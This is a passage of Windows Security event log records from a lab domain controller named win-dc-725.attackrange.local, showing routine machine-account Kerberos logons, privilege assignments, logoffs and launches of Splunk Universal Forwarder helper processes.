was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256227 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D1065 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256226 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D101C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256225 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D101C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256224 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D0F0E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51340 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256223 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D0F0E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:07:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256222 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x105c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256236 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc64 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:07:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256235 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb78 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:07:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256237 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:07:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256238 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:07:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256240 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D2E0F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51346 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:07:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256239 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D2E0F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:07:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256241 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D10E7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:07:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256244 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D3F3E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:07:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256243 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D3F3E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51355 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:07:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256242 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D3F3E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:08:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256245 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x460 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256247 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:08:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256246 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3b4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256249 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:08:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256248 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7a4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:08:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256250 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc34 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:08:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256251 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Program 